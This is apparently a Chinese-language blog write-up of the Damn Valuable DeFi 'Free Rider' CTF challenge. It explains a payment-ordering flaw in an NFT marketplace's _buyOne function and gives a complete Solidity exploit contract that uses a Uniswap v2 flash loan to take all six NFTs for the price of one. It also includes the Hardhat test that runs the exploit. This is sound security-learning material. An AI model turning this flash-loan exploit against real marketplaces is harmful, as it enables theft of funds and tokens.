抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

1. issue

A new marketplace of Damn Valuable NFTs has been released! There’s been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.

The developers behind it have been notified the marketplace is vulnerable. All tokens can be taken. Yet they have absolutely no idea how to do it. So they’re offering a bounty of 45 ETH for whoever is willing to take the NFTs out and send them their way.

You’ve agreed to help. Although, you only have 0.1 ETH in balance. The devs just won’t reply to your messages asking for more.

If only you could get free ETH, at least for an instant.

目标:将所有的 NFT 归还到卖家手里,获取赏金

题目链接

2. analysing

本次挑战要求玩家有一定的 ERC721 和 uniswap v2 基础。

2.1 FreeRiderNFTMarketplace.sol

如果对 ERC721 的每一个函数都比较清楚的话,不难看出在 _buyOne 函数中有一个明显的漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function _buyOne(uint256 tokenId) private {
uint256 priceToPay = offers[tokenId];
if (priceToPay == 0)
revert TokenNotOffered(tokenId);

if (msg.value < priceToPay)
revert InsufficientPayment();

--offersCount;

// transfer from seller to buyer
DamnValuableNFT _token = token; // cache for gas savings
/**
1. 在 ERC721 中的balance是货币的种类
2. _transfer(address from, address to, uint256 tokenId) 函数执行之后就会将 tokenId的所有权转交给 to
3. 此时执行 _token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId)之后, msg.sender 就成为了该 tokenId的所有者
*/
_token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);

// pay seller using cached token

/**
1. 这行代码的意思就是 msg.sender 向 _token.ownerOf(tokenId) 该tokenId的所有者支付费用priceToPay
2. 不难看出在 上一行代码中,卖家已经把tokenId先行卖给我了,我已经成为了该tokenId的主人
3. 所有这就是自己给自己支付priceToPay的ETH,简直太离谱
*/
payable(_token.ownerOf(tokenId)).sendValue(priceToPay);

emit NFTBought(msg.sender, tokenId, priceToPay);
}

归根结底,我们知道了可以免费购买 NTF,但首先我们得有 15 ETH才行,题中我们只有 0.1 ETH。

但是我们可以从 uniswap v2中通过闪电贷获取足够的 ETH.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/**  
思路:
1. 要通过 uniswapPair 中的swap函数借贷 15 WETH 用于购买NFT
1.1 求出 buymany 及其参数的 abi.encodeWithSignature(signatureString, arg);
1.2 将 15 WETH 转化成 15ETH, IWETH
1.3 需要有 receive函数
2. hacker需要实现 IUniswapV2Callee 的 uniswapV2Call 函数
2.1 在 uniswapV2Call 函数体中调用 marketplace 的buyMang函数
2.1.1 同时hacker需要实现IERC721Receiver接口
2.2 执行完 buyMany 函数之后,将 15ETH 转成 15WETH 还给 uniswapPair
2.3 此时 hacker成为了这 6种代币的主人
3. 通过 ERC721中的 safeTransferFrom 函数,获取赏金
*/

3. solving

3.1 FreeRiderHack.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol';
import "./FreeRiderNFTMarketplace.sol";
import "../DamnValuableToken.sol";
import "../DamnValuableNFT.sol";
import "./FreeRiderRecovery.sol";
import "hardhat/console.sol";


interface IERC20 {
function deposit() external payable;
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external returns (uint256);
function withdraw(uint256 amount) external;
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}

contract FreeRiderHack is IUniswapV2Callee, IERC721Receiver{

IUniswapV2Pair uniswapPair;
DamnValuableToken token;
IERC20 weth;
DamnValuableNFT nft;
FreeRiderNFTMarketplace marketplace;
FreeRiderRecovery recovery;
uint256[] tokens = [0, 1, 2, 3, 4, 5];

constructor(
address _uniswapPair,
address _token,
address _weth,
address _nft,
address payable _marketplace,
address _recovery
) payable {
uniswapPair = IUniswapV2Pair(_uniswapPair);
token = DamnValuableToken(_token);
weth = IERC20(_weth);
nft = DamnValuableNFT(_nft);
marketplace = FreeRiderNFTMarketplace(_marketplace);
recovery = FreeRiderRecovery(_recovery);
}

function attack() external payable {

// 因为不确定 token 和 weth 在pair中的顺序,所以先判断
(uint amount0Out, uint amount1Out) =
address(token) > address(weth) ? (uint(15 ether), uint(0 ether)) :(uint(0 ether), uint(15 ether));

uniswapPair.swap(
amount0Out,
amount1Out,
address(this),
abi.encodeWithSignature("buyMany(uint256[])", tokens));

/** 此时 hacker 成为了 tokens 的拥有者, 且不欠 uniswapPair的钱 */

// 兑换赏金
for (uint256 i = 0; i < tokens.length; i++) {
nft.safeTransferFrom(
address(this),
address(recovery),
tokens[i],
// 此处为了呼应 payable(abi.decode(_data, (address))).sendValue(PRIZE);
abi.encode(msg.sender));
}
}

function uniswapV2Call(address, uint , uint , bytes calldata data) external {

// 记录hacker手中的ETH --- 15 ether
uint amountETH = weth.balanceOf(address(this));
// 将WETH换成ETH
weth.withdraw(amountETH);
// 调用 buyMany 函数
address(marketplace).call{value: amountETH}(data);

// 将手中的 ETH换成WETH, 并还回去
// woc 这里还要支付 0.3% 的手续费!!! 也就是 0.045
uint repayAmount = amountETH * 1004 / 1000;

weth.deposit{value: repayAmount}();
weth.transfer(address(uniswapPair), repayAmount);
}

function onERC721Received(
address ,
address ,
uint256 ,
bytes calldata
) external returns (bytes4){
return IERC721Receiver.onERC721Received.selector;
}

receive() external payable {}

}

这里我不知道为什么支付 0.3%的手续费不行,得需要支付更多才行

我选择了支付 0.4%

uint repayAmount = amountETH * 1004 / 1000;

3.2 challenge.js

1
2
3
4
5
6
7
8
9
10
11
12
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const hacker = await (await ethers.getContractFactory("FreeRiderHack", player)).deploy(
uniswapPair.address,
token.address,
weth.address,
nft.address,
marketplace.address,
devsContract.address
);
await hacker.attack();
});

image-20230722171752846

解题成功。

评论



政策 · 统计 | 本站使用 Volantis 主题设计